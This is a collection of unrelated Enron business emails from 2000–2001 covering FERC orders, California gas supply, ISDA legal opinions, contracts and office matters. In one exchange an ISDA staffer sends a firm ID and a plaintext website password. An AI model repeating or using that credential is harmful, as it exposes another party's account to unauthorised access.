i have also mentioned to gus that you  may ask him to help you out with any project/research needs 

thanks 

rika 

Sent:	Tuesday, September 04, 2001 12:36 PM
To:	Imai, Rika
Subject:	Thomas Lowell

rika,

could you arrange for Thomas to meet with me today @ 3:30 or sometime soon thereafter?  thanks, 

fletch

FYI guys.  Save this stuff for after hours.
PL

---------------------- Forwarded by Phillip M Love/HOU/ECT on 02/14/2001 
10:17 AM ---------------------------

02/14/2001 10:13 AM
To: Kam Keiser/HOU/ECT@ECT, Darron C Giron/HOU/ECT@ECT, David 
Baumbach/HOU/ECT@ECT, Errol McLaughlin/Corp/Enron@ENRON, Phillip M 
Love/HOU/ECT@ECT
cc:  
Subject: 

I am the last one to have a problem with people throwing balls around.  
However,  Frank Vickers had a client from another firm here today and people 
were shooting baskets while the clients were looking on.  I'm sure 
professionalism is not the first thing they thought of as they were watching 
this.  While it is important that everyone have fun,  it is more important 
that we are a seen as a professional organization.  We are on the same floor 
as the originators and therefore there will be many clients coming through 
here in the future.  It would be a shame not to get business because someone 
in our group was firing jumpers.  Thanks for your help in ensuring that this 
doesn't happen again.

Jeff

Jeff --

thanks for the call today.  I agree with your perspective on CLEC status / 
implications for EBS.

What we need to think about doing (as we discussed on the phone) is to come 
up with a regulatory risk assessment of becoming a CLEC in CA --

id key risks
assess value at risk (quantitative and qualitative)
develop mitigation plans (incld working to end the need to be a CLEC), and 
assign people to manage the plans.

Happy to help as much as possible.  We should try and have this and then 
discuss with broader EBS WG.

Thanks.

JDS

Jeff Dasovich on 01/24/2000 04:08:28 PM
To: James D Steffes/HOU/EES@EES
cc:  

you mean you've looked through the contract and still couldn't find them?  

p.s. "jeffrina" is a very "21st century" name for little baby girls.  just 
read about it in vogue magazine.

FYI.
---------------------- Forwarded by Rebecca W Cantrell/HOU/ECT on 05/25/2001 
09:46 AM ---------------------------

"Tracey Bradley" <tbradley@bracepatt.com> on 05/25/2001 08:36:47 AM
To: <Jeff.Lam@BCHydro.bc.ca>, "Aryeh Fishman" <afishman@bracepatt.com>, 
"Andrea Settanni" <asettanni@bracepatt.com>, "Charles Ingebretson" 
<cingebretson@bracepatt.com>, "Charles Shoneman" <cshoneman@bracepatt.com>, 
"Deanna King" <dking@bracepatt.com>, "Dan Watkiss" <dwatkiss@bracepatt.com>, 
"Gene Godley" <ggodley@bracepatt.com>, "Kimberly Curry" 
<kcurry@bracepatt.com>, "Michael Pate" <mpate@bracepatt.com>, "Marc F. 
Racicot" <mracicot@bracepatt.com>, "Neil Giles" <ngiles@bracepatt.com>, "Paul 
Fox" <pfox@bracepatt.com>, "Ronald Carroll" <rcarroll@bracepatt.com>, 
"Randall Rich" <rrich@bracepatt.com>, "Scott Segal" <ssegal@bracepatt.com>, 
<agold@coral-energy.com>, <mdpalmer@coral-energy.com>, 
<rreilley@coral-energy.com>, <ccopat@e-z.net>, <susan.ginsberg@elpaso.com>, 
<joe.hartsoe@enron.com>, <Rebecca.W.Cantrell@enron.com>, <smara@enron.com>, 
<bkostiner@exchange.ml.com>, <Jlimone@exchange.ml.com>, 
<pat.cradock@huskyenergy.ca>, <kmagruder@newpower.com>, 
<doug.little@powerex.com>, <sheena.macdonald@powerex.com>, 
<jwade@sidrichgas.com>, <jcardell@tca-us.com>, <tabors@tca-us.com>
cc:  
Subject: Reuters -- FERC told Calif natgas to reach limit this summer

FYI

Thursday May 24, 4:11 pm Eastern Time

FERC told Calif natgas to reach limit this summer
By Julie Vorman

WASHINGTON, May 24 (Reuters) - Natural gas supplies will be stretched to the 
limit this summer in California, but demand will ease during the next four 
years as utilities become more efficient and hydropower supplies resume, a 
state regulator told the Federal Energy Regulatory Commission Thursday.

FERC staff held a technical conference to gather information about 
California's natural gas demand outlook from state officials, intrastate 
pipelines, interstate pipelines, marketers and others.

A spike in wholesale electricity prices in the nation's most populous state 
has been blamed partly on a bottleneck in natural gas pipelines. Many of 
California's electricity generation plants are fueled with natural gas.

Bill Wood, the chief natural gas forecaster for the California Energy 
Commission, said demand would be about 6.9 billion cubic feet (bcf) per day 
this year. That compares with 6.7 bcf per day last year and 5.5 bcf in 1995, 
he said.

The state's thirst for natural gas will fall slightly in 2002 and remain flat 
for four years as utilities become more efficient at squeezing electricity 
out of gas, he said. Hydropower imported from the Pacific Northwest should 
also return to normal levels after this year's drought and displace some of 
the gas now being used, Wood told the conference.

NATGAS STRANDED AT BORDER

Forecast demand of 6.9 bcf this year means interstate pipelines bringing 
natural gas supplies into California will be pushed to their limit.

The interstate pipelines feeding the state with gas from the Rocky Mountains, 
New Mexico and other out-of-state fields have a capacity of 7 bcf per day, 
Wood said.

But California's intrastate pipelines that pick up the gas can receive a 
maximum of 6.7 bcf per day, leaving 3 million cubic feet of gas ``stranded at 
the border,'' he said.

Wood and other officials said Sempra Energy's (NYSE:SRE - news) Southern 
California Gas Co, which serves San Diego and the southern portion of the 
state, had especially tight supplies.

Lad Lorenz, director of SoCal Gas capacity and operations, told the FERC 
conference the company had ``adequate'' transmission capacity for its 
customers. Although the lack of hydropower imports from the Northwest has 
increased gas demand by 600 million cubic feet per day on SoCal Gas' system, 
the firm still has enough capacity to handle it, he said.

``We don't anticipate any problems meeting electricity generation demand this 
summer,'' Lorenz said. ``We don't project any curtailments.''

To help cope with this summer's tightness, SoCal Gas is awaiting state 
approval of its plan to add capacity of more than 50 million cubic feet per 
day by salvaging its Montebellow storage field, Lorenz said. It also plans to 
convert about 14 bcf of ``cushion'' gas -- which is used to maintain adequate 
pressure in a storage facility -- into working gas.

The company also has up to 200 million cubic feet per day of interruptible 
capacity, he said.

SoCal Gas is spending $55 million on four projects to expand capacity by a 
total of 475 million cubic feet of firm backbone transmission capacity to its 
system, he said. The projects should be completed by year-end, if they 
received quick environmental approvals.

INTERSTATE PIPELINES HURRY TO EXPAND

Interstate pipelines said they were planning ways to get more natural gas to 
the California border, through upgraded compression equipment and brand-new 
pipelines.

El Paso Pipeline is planning to convert the All-America oil pipeline to 
natural gas, said Patricia Shelton, president of El Paso's western pipeline 
group.

That line, which was recently approved by FERC, will ship about 230 million 
cubic feet per day of natural gas from Texas to the California border by 
autumn.

``We're doing this on our dime to loosen up our system,'' Shelton said.

A major new interstate line, the Sonoran Pipeline, has been proposed in a 
joint venture by Calpine Corp and Kinder Morgan. The 1,000-mile pipeline 
would ship 1.5 billion cubic feet of gas each day from Blanco, New Mexico to 
the San Francisco Bay area.

The companies are trying to get 20-year contract commitments from customers 
to determine if the nearly $2 billion pipeline is economically feasible, said 
Craig Chancellor of Calpine.

Kern River Gas Transmission, a unit of the Williams Cos (NYSE:WMB - news) , 
is planning an expansion of its interstate pipeline to add 906 million cubic 
feet per day of gas. The project, due to be completed by May 2003, will cost 
more than $1 billion, said Kirk Morgan, director of business development for 
Kern River Gas Transmission.

Kern River also plans a temporary expansion of its pipeline to add 135 
million cubic feet of capacity. The extra capacity will be available in July 
through next year, due to air quality restrictions.

FERC's three commissioners, who are wrestling with other California power 
issues, did not attend the technical conference.

Hi all.  Stacy and I have finally moved to 16.  Since so many people were out or swamped this week, I didn't get to say a proper goodbye so thought I would write one.  I enjoyed being your neighbor and already miss all of you.  

Have a Happy Thanksgiving!

Kelly

Bernard,

It seems the msg has been truncated.

Vince

"Murphy, Bernard" <Bernard.Murphy@caminus.com> on 03/01/2001 08:47:25 AM
cc:  
Subject: RE: 1997 Risk paper on Pricing of Electricity Derivatives

V

Sent: 01 March 2001 14:54
To: Murphy, Bernard
Cc: Shirley.Crenshaw@enron.com; Vince.J.Kaminski@enron.com
Subject: Re: 1997 Risk paper on Pricing of Electricity Derivatives

Bernard,

I am forwarding your message to my assistant and she will mail you a
reprint.
I would be glad to take a look at your dissertation. Is it available as a
publication, working paper?

Vince

"Murphy, Bernard" <Bernard.Murphy@caminus.com> on 03/01/2001 02:17:39 AM

To:   "'Vince.J.Kaminski@enron.com'" <Vince.J.Kaminski@enron.com>
cc:
Subject:  1997 Risk paper on Pricing of Electricity Derivatives

Hello Vince,

My name is Bernard Murphy - I received your e-mail address from Les
Clewlow,
who was my PhD supervisor at the Financia Options Research Centre at
Warwick
Business School.  I've just finished my PhD on Electricity Price Jump
Diffusions :  A Theoretical and Empirical Study in Incomplete Markets -
hence my interest in electricity price modelling and derivative pricing.  I
was looking to get hold of a copy of your 1997 paper, which has recently
come to my attention :

"The Challenge of Pricing & Risk-Managing Electricity Derivatives", The US
POwer Market, Risk Publications, pp. 149-171.

and Les suggested that I contact you directly (Les is travelling at present
and doesn't have an electronic copy available) to request an e-copy.

Incidentally, I am Lecturer in Finance / Financial Mathematics at
University
of Limerick (Ireland) and have taken a year out to work for Caminus UK,
where I am working on introducing and developing a markets-based approach
(spark-spread) to real asset valuations in the UK power industry.

Thanks in advancve

Bernard Murphy

EB 3889
----- Forwarded by Carol St Clair/HOU/ECT on 02/13/2001 01:31 PM -----

	Susan Bailey
	02/13/2001 01:17 PM
		
		 cc: 
		 Subject: RE: ISDA Legal Opinions

Carol,

I have spoken with Corrine Greasley @ ISDA regard your request for missing 
ISDA Netting and Collateral Opinions.  She said that since the list of 
missing opinions was quite extensive, that ordering a complete set of the 
opinions would be the way to go.

The cost for such endeavor would be:

(a) ISDA Netting Opinions -- $500.00 (complete set)
(b) ISDA Collateral Opinions -- $500.00 (complete set)

Let me know if you wish to go this route. 

	02/05/2001 10:58 AM
		
		 To: Corrinne Greasley <CGREASLEY@isda.org>@ENRON
		 cc: Susan Bailey/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT

Corrinne:
As a follow up to my earlier e-mail message to you, I am enclosing a list of 
the ISDA Netting and Collateral Opinions that we currently have.  In most 
cases, we are missing the updates.  We have very few of the Collateral 
Opinions.  After you have had a chance to look at our list, I would 
appreciate hearing from you as to the best way to obtaining the opinions and 
updates that we currently do not have.  Thanks.

EB 3889

	Corrinne Greasley <CGREASLEY@isda.org>
	02/05/2001 09:31 AM
		 
		 cc: 

Here it is

Firm ID: 150
Password: crberp0z

Please note that the password is case sensitive and should be entered
exactly as it appears here.

Regards
Corrinne

Sent: Monday, February 05, 2001 10:28 AM
To: cgreasley@isda.org
Subject: ISDA Legal Opinions

Ms. Greasley:
I am an attorney in Enron Corp.'s legal department and Mark Taylor is my
boss.   We were unable to access the website to obtain the latest netting
opinions and would like to make arrangements to get hard copies of them.
Please call or e-mail me when convenient.  Thanks.
EB 3889

I am trying to track down the Scientific Workplace disks. 
Please, let me know if you have them.

Vince

Louise,

If I can get a counterparty to prepay us $3MM for a physical power sale, can I reduce my capital charge on $3MM of ERC's? 

Energy Systems Update for Tuesday May 8, 2001 at 8:15 AM:
The California Independent System Operator has declared a Stage 1 Emergency
for the hours of 0815 to 2359 due to forecasted high loads throughout the
control area.

Consumers are requested to voluntarily curtail nonessential electric load to
avoid more severe conditions including involuntary curtailments.

ISO may be required to call a  Stage 2 including nonfirm by mid-morning.
The ISO indicated a  Stage 3 emergency and firm load shedding is  likely
today.

If outages occur they will include the remainder of Block 14 and portions or
all of Block 1 and beyond depending upon system conditions.

Conditions are expected to be similar to yesterday.  Any further specific
changes in operating conditions will be communicated with additional Grid
Updates.

For up-to-date information regarding the current status of the California
Energy Crisis, please log into Pacific Gas and Electric Company's Web Site
at: <<<http://www.pge.com/>>> or the CAISO Web Site at:
<<<<http://www.caiso.com/>>>>

Sara,

DLJ informed me we would not be settling Friday, but it would be within the 
next couple of days.  We are waiting for DLJ's calc. sheet to make sure 
everything looks reasonable.  Paul was not sure if the calculation sent to us 
from Deutsche/BT was correct.  I'll keep you posted....

Craig Gannet reports:

 I talked to Rich Glick this morning about the rumored
Administration rulemaking on reliability.  Rich said that it will be a
notice of inquiry, not a proposed rulemaking.  The NOI will essentially ask
three questions: (1) should DOE issue a proposed rule? (2) Does DOE have the
legal authority to do so?  (3)  if DOE should issue a rule and has the
authority to do so, what should be included in the rule?  The NOI will not
contain any proposed language.  The comment period will be 45 days, and Rich
does not expect this Adminstration to act on this issue.  In effect, he
said, they are simply teeing the issue up for the next Administration.
(This assumes that the pending reliability legislation is not passed during
the upcoming lame duck session, which I think is a pretty safe assumption.)
Rich said that the NOI is on Secretary Richardson's desk, and is likely to
be signed tomorrow.

TO: Regulatory Affairs Committee
Power Marketers Working Group

FROM: Joe Hartsoe, Regulatory Affairs Committee Chair
Bob Reilley, Power Marketers Working Group Chair
Julie Simon, Vice President of Policy
Mark Bennett, Senior Manager of Policy
Erin Perrigo, Manager of Policy

DATE: April 6, 2001

RE: FERC Orders Issued April 6th (1) CalPX Chargebacks;
(2)CalPX  Rate Recalculations; and (3) Kern River
Certificate

We want to inform you of three significant orders FERC issued today, two 
relating to the California Power Exchange (CalPX), and the third concerning a 
pipeline project from Wyoming to California.

(1) Pacific Gas & Electric Company v. California Power Exchange Corporation, 
et al. (Docket Nos. EL01-29/33/36/37/43-000) "Order on Complaints Concerning 
Use of Chargebacks and Liquidation of Collateral"
In this order, the Commission addressed five complaints against the CalPx 
concerning its response to alleged defaults by Pacific Gas & Electric (PG&E) 
and Southern California Edison Company (SoCal Edison).  Among other things, 
the Commission determined that "the chargeback provision in the PX tariff was 
not designed to address default of this magnitude and, thus, its application 
in these circumstances is unjust and unreasonable."  Accordingly, the 
Commission directed the CalPX to rescind all prior chargeback actions and 
refrain from any future chargeback actions relating to PG&E and SoCal 
Edison's liabilities, subject to further Commission action in accordance with 
the order.
Regarding the ultimate question of how the PX should account for the 
nonpayments by SoCal Edison and PG&E, the Commission deferred further action 
pending the outcome of SoCal Edison's State Court Complaint, as well as the 
Government Claims Board Complaint.  Finally, with respect to the PX's 
bankruptcy proceeding, the Commission concluded that section 362(b)(4) of the 
Bankruptcy Code allowed it to lawfully exercise its regulatory power under 
sections 205 and 206 of the Federal Power Act, so long as it did not threaten 
the bankruptcy court's control over the property of the bankruptcy estate.

(2) San Diego Gas & Electric Company v. Sellers of Energy and Ancillary 
Services (Docket Nos. EL00-95-015/016 and Docket Nos. EL00-98-014/015) "Order 
Dismissing Rehearing, Accepting Compliance Filing, and Directing the 
Recalculation of Lower Wholesale Rates"
In this order, the Commission dismissed the CalPX's request for rehearing of 
the Commission's January 29, 2001 order, which found that the CalPX had 
violated the Commission's December 15, 2000 order and the Federal Power Act.  
The December 15 order required the CalPX to pay suppliers in the CalPX 
markets their as-bid price above the $150/MWh breakpoint.  Additionally, the 
Commission accepted the PX's compliance filing and provided guidance to the 
PX on an acceptable methodology so that the PX may implement the $150/MWh 
breakpoint for its January 1, 2001 invoices.  Additionally, as in the 
chargeback case, the Commission determined that its action in the instant 
case was exempt from the automatic stay provision of the Bankruptcy Code.

(3) Kern River Gas Transmission Company (Docket No. CP01-106-000) "Order 
Issuing Certificate"
Pursuant to section 7(c) of the Natural Gas Act, the Commission denied the 
protests that had been filed and issued a certificate of public convenience 
and necessity to Kern River authorizing it to construct and operate its 
California Action Project, subject to resolution of the proceeding pending in 
Docket No. CP01-61-000.  However, the Commission rejected Kern River's 
proposal to utilize a return on equity for this project of 15.25 percent.  
Instead, the Commission directed Kern River to file a revised incremental 
rate to reflect a return on equity of 13.25 percent at least 30 days prior to 
commencing service.  Finally, the Commission conditioned the certificate on 
Kern River's compliance with the environmental conditions set forth in 
Appendix C to the order.

These orders can be found on the Bulk Power section of FERC's website, at 
www.ferc.fed.us/electric/bulkpower.htm.  If you have any questions, comments 
or would like additional information relating to these orders, please contact 
either Julie Simon (jsimon@epsa.org) or Mark Bennett (mbennett@epsa.org) at 
(202) 628-8200.

I had some problems with the atty at Vinson & Elkins who I sent your file to 
originally. I sent it to Josh McMorrow at Bracewell & Patterson. He will be 
up to speed on Monday-- he is doing his homework on the corporate entities 
today. His telephone # is 713-223-2900.

Transwestern Pipeline Co. posted new notice(s) since our last check at 
12/12/2000 6:48:01 PM, the newest notice looks like:

 Capacity Constraint, Dec 12 2000  9:24PM, Dec 13 2000  9:00AM, Dec 14 2000  
8:59AM, 2236, Allocation - San Juan Lateral

Please click the following to go to the web site for detail.

http://ios.ets.enron.com/infoPostings/shared/et_noncritical_notice.asp?company
=60

This is none of my business, but the turbines are owned by ENext.  Hows does 
the LLC give the assignment?  Should the turbine contract be in the name of 
the LLC, because it isn't at this moment.  Maybe I messed up.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/26/2001 06:24 

lee.johnson@ps.ge.com on 04/26/2001 04:09:13 PM
To: kay.mann@enron.com, dale.rasmussen@enron.com
cc: kent.shoemaker@ae.ge.com, bill.williams@enron.com 

Subject: FW: Assignment and Assumption Agreement re: E-Next B/O Contract w / 
GE for MCS as EPC for LVCII.

Kay/Bill,

Bill says he agrees and accepts our comments to the A&A.

One change required to the Rev 5 document.  In Exhibit B, Add item "27)One
additional Human Machine Interface (HMI) per Unit (desktop PC type)"

Include these changes and we can get this done tomorrow.

Thanks,

Lee
From: Shoemaker, Kent (GEAE)
Sent: Thursday, April 26, 2001 12:06 PM
To: Johnson, Lee L (PS, GE AEP); 'bill.williams@enron.com'
Cc: 'dale.rasmussen@enron.com'
Subject: RE: Assignment and Assumption Agreement re: E-Next B/O Contract
w/ GE for MCS as EPC for LVCII.

Here are my comments.

Kent

From: Johnson, Lee L (PS, GE AEP)
Sent: Wednesday, April 25, 2001 8:15 AM
To: Shoemaker, Kent
Subject: FW: Assignment and Assumption Agreement re: E-Next B/O Contract

Kent,

Please review and note that this needs to be completed by week's end.
Closing date is 5/1 and I'm out rest of week 5/2-6.  We may need some of
Kay's help if we don't like what we see.  But let's try to work it out with
Dale Rasmussen first (Enron Portland office).

Lee

From: Bill.Williams@enron.com [mailto:Bill.Williams@enron.com]
Sent: Tuesday, April 24, 2001 3:58 PM
Cc: THOMAS CONSTANTINE; Dale.Rasmussen@enron.com;
Jody.Blackburn@enron.com
Subject: Assignment and Assumption Agreement re: E-Next B/O Contract w/

Hello Lee.  (I know your thinking - What now!)

As I'm sure you know, we are fast approaching a full notice to proceed on
the LVCII project.  One item that we have as part of our EPC contract with
Modern Continental South, is an Assignment and Assumption Agreement whereby
MCS will assume certain responsibilities for (owner), and abide by the
conditions set forth in that agreement.  We will ask GE to participate in
that Agreement.  I have attached that agreement to this e mail for your
review.  Current plans are for a full NTP (Notice To Proceed) to begin
construction on May 1, and we are working hard to be ready for that key
milestone to occur. Your review and concurrence on the draft document
attached below is appreciated.

Please review and contact me should you have any questions.

Sincerely

W. J.  (Bill) Williams Jr
Director, Technical Services
(503) 464-8958

(See attached file: GE ASSIGNMENT 173951 CLEAN 0417.doc)

 - GE ASSIGNMENT 173951 CLEAN 04171.doc

The Late Day Rotation for Preschedule coverage is as follows:

Monday - Lisa
Tuesday - Stacy
Wednesday-Donald
Thursday - Diane
Friday - Susie

Please refer late calls for preschedulers who have left for the day to the 
late day person.  

----- Forwarded by Tana Jones/HOU/ECT on 01/29/2001 09:57 AM -----

	01/29/2001 09:53 AM
		 
		 cc: 
		 Subject: Re: NDA

Can you follow up with Anthony Dayao?
----- Forwarded by Mark Taylor/HOU/ECT on 01/29/2001 09:53 AM -----

	01/29/2001 08:15 AM
		
		 To: Anthony Dayao/AP/Enron@Enron
		 cc: Mark Taylor/HOU/ECT@ECT, Rex Shelby/NA/Enron@Enron

Rex Shelby or Greg Piper.  Just make sure the Enron attorney has initialed by 
the place where Rex or Greg would sign.

GP

From: Anthony Dayao on 01/29/2001 06:51 PM ZE9
To: Greg.Piper@enron.com, David Berberian/NA/Enron@ENRON
cc:  
Subject: NDA

I have a fax copy of the signed NDA from Itochu.  I am awaiting the paper 
versions.
Who should sign for Net Works?  I'll need the person's fax #.  We can 
exchange fax versions before
having the originals.

Regards,

--anthony

----- Forwarded by Anthony Dayao/AP/Enron on 2001/01/29 18:44 -----

	Kent Nagata <kent-n@mue.biglobe.ne.jp>
	2001/01/29 14:05
		 
		 To: Anthony.Dayao@enron.com
		 cc: hashi25@attglobal.net
		 Subject: NDA

Anthony-san,

Today our legal department confirmed the contents of NDA finally.
Therefore we sent a fax to you at first.
And also, we sent a couple of NDAs by mail.

Please send us back one of NDAs signed by you by return.

Thanks and best regards,

PS) Now I am summarizing questionnaire about Clickpaper.

Kent Nagata
Itochu Corporation
E-mail:kent-n@mue.biglobe.ne.jp
Tel:03-3497-6391

I have the same room, EBE 3270, for 9:30 am tommorrow.

Thanks,

Errol

Hey:
If you are working today (Saturday - 11/18) give me a call at work or try me 
a t home.  Thanks!
Ben

You bet.  Don't you think we could send something a little better?

"Germany, Mary/COR" <mgermany@CH2M.com> on 04/06/2000 02:00:34 PM
cc:  
Subject: RE: Hmm

I am going to send it to all my friends.  Do I get a finders fee if I find
you a woman?

Mary Germany, Manager
Accounts Payable
Payroll
Accounting Support
(303) 713-2151
fax (303) 846-2151
email - mgermany@ch2m.com

From: Chris Germany [mailto:Chris.Germany@enron.com]
Sent: April 06, 2000 12:33 PM
To: mgermany@CH2M.com
Subject: Hmm

As always, they catch me at my most beautiful pose.

---------------------- Forwarded by Chris Germany/HOU/ECT on 04/06/2000
01:32 PM

 (Embedded     Enron North America Corp.
 to file:      From:  Kimberly Brown
 pic25134.pcx) 04/06/2000 12:00 PM

To:   Chris Germany/HOU/ECT@ECT
cc:
Subject:

(See attached file: 021_19.jpg)

Joe -- could you see if someone at FERC -- Hebert or Madden, might be 
available -- or suggest a suitable alternative?
----- Forwarded by Steven J Kean/NA/Enron on 03/14/2001 05:54 PM -----

	Nicholas O'Day
	03/14/2001 12:28 AM
		 
		 To: Steven J Kean/NA/Enron
		 cc: 
		 Subject: May 15 conference

Steve, we talked about the possibility of securing a speaker from FERC for 
the May 15 deregulation conference in Tokyo, either in person or by video 
conference. Have things settled down sufficiently to approach the person you 
had in mind?

Jan & Mike,
Following article highlights some of the troubles DSL providers are having in 
the US.

Covad Communications Inc. - A Cautionary Tale

Covad Communications Inc. prides itself in being a high-speed Internet 
services company . On 2nd January 2001 nearly 15% of Covad's staff woke up to 
a holiday season present they didn't expect, as the California-based DSL 
provider announced a further round of 400 redundancies to cut costs.

Not only has Covad served notice on 400 employees in the first week of 2001, 
but it had already fired another 400 employees on 27 November 2000 after 
restating third-quarter results for last year which revealed a wider net loss 
than originally reported.

Covad's shares lost about 95% of their value during 2000, but the firm is now 
hopeful that the redundancies - primarily in direct sales and marketing - 
coupled with the closing of 200 DSL central offices and consolidating space 
will provide improvement. Covad shares were worth about US$65 during March 
2000, but are currently valued at just US$1.65 (at the time of this writing).

On 12 December 2000, Covad Communications Inc. announced that it expected its 
fourth quarter and year 2001 revenues to miss Wall Street expectations and 
also expected EBITDA-basis losses for the periods. This news came only weeks 
after Corvad had restated lower its already-released third quarter results 
because of delinquent payments from business partners.

Forward looking into the year 2001, Covad expects to report an EBITDA-basis 
loss of $450-$470 million, with revenue likely to come in at $380-$390 
million. These gloomy outlook changes come just as other companies that 
install high-speed Internet connections over regular telephone lines - using 
DSL - have been cutting staff and warning of disappointing subscriber and 
revenue growth.

Corvad are hoping that by cutting the workforce, it should slow the burn 
rate, which had been running at about $70 million per month, partly as a 
consequence of trying to expand its network.
 
Corvad is a company that grew at a time when capital was freely available, 
but it has all but shut itself out now from telecom service providers and 
plans to start offering self-installation DSL packages for individual 
subscribers in the first quarter of 2001 (D.I.Y. DSL in a Jiffy Bag)..

Corvad is Not Alone
 
Other US companies caught in the same troubled waters include DSL.net Inc. 
and NorthPoint Communications Group Inc., whose financial condition has led 
No. 1 U.S. local phone company Verizon Communications to cancel its planned 
$800 million agreement to buy NorthPoint.

Covad has also said that 14 of its Internet Service Provider partners, which 
sell DSL directly to consumers, are "troubled" and four of them have filed 
for bankruptcy protection. On the back of this grim news, Covad announced a 
program for its DSL customers that would allow them to switch from these 
troubled ISPs to others with no fee.

Corvad, NorthPoint Communications Inc. and DSL.net are not alone in these 
troubled times.  Many independent providers of digital subscriber line, or 
DSL, Internet service, which offer high-speed data transmission and Web 
access over existing copper telephone lines, have faced increasing difficulty 
tapping the capital and equity markets to fund operations as they strive for 
profitability.  Efforts to achieve profitability have been hurt by consistent 
disappointments about subscriber and revenue growth across the sector. 

Mark & Travis:
Attached is the proposed form of linking agreement for both DealBench and 
EOL.  Please let us have your comments. Thanks,
Mike
EB3847
(713) 853-6667 DID
(713) 646-4842 FAX

----- Forwarded by Michael A Robison/HOU/ECT on 01/08/2001 04:41 PM -----

	"Harvey, Dean" <dharvey@velaw.com>
	01/08/2001 12:23 PM
		 
		 To: "Stockbridge, Edward T" <tstockbridge@velaw.com>, "Alderden, Emily" 
<ealderden@velaw.com>, "Dobin, Nora (Enron)" <nora.dobin@enron.com>, 
"'Douglas S. Friedman (E-mail)'" <Douglas.S.Friedman@enron.com>, "Funk, 
Brenda (Enron)" <brenda.l.funk@enron.com>, "'John Viverito'" 
<john.viverito@enron.com>, "Klein, Jason" <jklein@velaw.com>, "'M. Robison 
(E-mail)'" <mrobiso@enron.com>, "Nazro, Phillips" <pnazro@velaw.com>, "'Rhett 
Jackson (E-mail)'" <Rhett.Jackson@enron.com>, "'Suresh. Raghavan (E-mail)'" 
<Suresh.Raghavan@enron.com>
		 cc: 

Attached is the DealBench linking agreement, together with a blackline
against the agreement proposed by Envera for EOL.  From DealBench's
perspective, this agreement is ready to be forwarded to Envera.  Please call
with any questions or concerns.

Regards,

Dean

Dean Harvey
Vinson & Elkins L.L.P.
600 Congress Avenue, Suite 2700
Austin, Texas 78701-3200
(512) 495-8528 (ph.)
(512) 236-3360 (fax)

 <<172445 v. 171481.DOC>>   <<DealBench Linking Agreement.DOC>>

 - 172445 v. 171481.DOC
 - DealBench Linking Agreement.DOC

I had the same experience.  (As if my inbox wasn't in sorry enough shape as 
it is).  I'll ask Margo to check with them to be sure the problem is 
corrected.

Hope you're having fun....

	01/24/2001 10:07 AM
		
		 To: Margo Reyna/NA/Enron@Enron
		 cc: Barbara A Hueter/NA/Enron@ENRON, Donald Lassere/Enron 
Communications@Enron Communications, Gia 
Maisashvili/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, John 
Neslage/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lara Leibman/Enron 
Communications@Enron Communications, Marchris Robinson/NA/Enron@ENRON, 
Matthew Jachimiak/HOU/ECT@ECT, Mona L Petrochko/NA/Enron@ENRON, Ricardo 
Communications, William Patrick Lewis/HOU/ECT@ECT, Xi Xi/Enron 
		 Subject: Re: Telecom Services: Broadband Services: USA:    Senators renew 
high-speed Internet tax credit ...

Dear Gang:
I don't know about you folks, but I woke up to over 100 emails from Telecom 
Reports today.  It seems to border on spam at this point.  Is anyone else 
having this experience?  The info is very valuable, but I'm wondering if 
there's a way to get, say, 3 emails a day rather than the 50 or more I'm 
currently receiving.

Wondering if the lights will stay on today,
Jeff

	Margo Reyna
	01/24/2001 09:20 AM
		 
		 To: Sue Nord/NA/Enron@Enron, Scott Bolton/Enron Communications@Enron 
Communications, Tracy Cooper/Enron Communications@Enron Communications, Lara 
Leibman/Enron Communications@Enron Communications, Donald Lassere/Enron 
Communications@Enron Communications, Mona L Petrochko/NA/Enron@Enron, Barbara 
A Hueter/NA/Enron@Enron, Jeff Dasovich/NA/Enron@Enron, Susan M 
Landwehr/NA/Enron@Enron, Marchris Robinson/NA/Enron@Enron, Ricardo 
Charvel/NA/Enron@Enron, Stephen D Burns/Corp/Enron@ENRON, Xi Xi/Enron 
Communications@Enron Communications, Matthew Jachimiak/HOU/ECT@ECT, William 
Patrick Lewis/HOU/ECT@ECT, John Neslage/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Gia Maisashvili/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: 
		 Subject: Telecom Services: Broadband Services: USA:    Senators renew 

Margo Reyna
Regulatory Analyst
Enron Corp., Government Affairs
Phone:  713-853-9191

----- Forwarded by Margo Reyna/NA/Enron on 01/24/2001 09:19 AM -----

	djcustomclips@djinteractive.com
	01/23/2001 05:56 PM
	Please respond to nobody
		 
		 To: 123363@WCTOPICS.djnr.com
		 cc: 

USA: Senators renew high-speed Internet tax credit bill. 
  
01/23/2001 
WASHINGTON, Jan 23 (Reuters) - A bill that would encourage businesses to 
bring high-speed Internet access to underserved areas was reintroduced in the 
Senate on Tuesday, with the hopes that President Bush would include the item 
in his budget.
Computers equipped with a "broadband" or high-speed Internet connection can 
download information at a rate of up to 1.5 megabits per second, or about 25 
times faster than a standard, dial-up connection. While broadband access is 
currently available in many business districts and affluent residential 
neighborhoods, the service has not yet spread to less affluent or more 
sparsely populated areas. 
The bill would provide a five-year, 10 percent tax credit to Internet 
companies that extend broadband service to rural or underserved urban areas.
Companies who build "next generation" networks, with download speeds of up to 
22 megabits per second, would receive a 20 percent, five-year credit.
The bill was introduced by Republican senators Olympia Snowe of Maine and 
Orrin Hatch of Utah, and Democrats Jay Rockefeller of West Virginia and John 
Kerry of Massachusetts. It was co-sponsored by 32 other senators.
The 36 senators sent a letter to President Bush urging him to include the 
bill in his initial budget proposal.
The bill attracted the support of 59 senators and 115 House members last 
year, the letter claimed. 

Folder Name: Telecom Services: Broadband Services 
Relevance Score on Scale of 100: 83

______________________________________________________________________ 
To review or revise your folder, visit Dow Jones CustomClips or contact Dow 
Jones Customer Service by e-mail at custom.news@bis.dowjones.com or by phone 
at 800-369-7466. (Outside the U.S. and Canada, call 609-452-1511 or contact 
your local sales representative.) 
Copyright (c) 2001 Dow Jones & Company, Inc. All Rights Reserved 

FYI.  Please provide me with estimates of costs.  

Jim

Sent:	Monday, December 31, 2001 12:54 PM
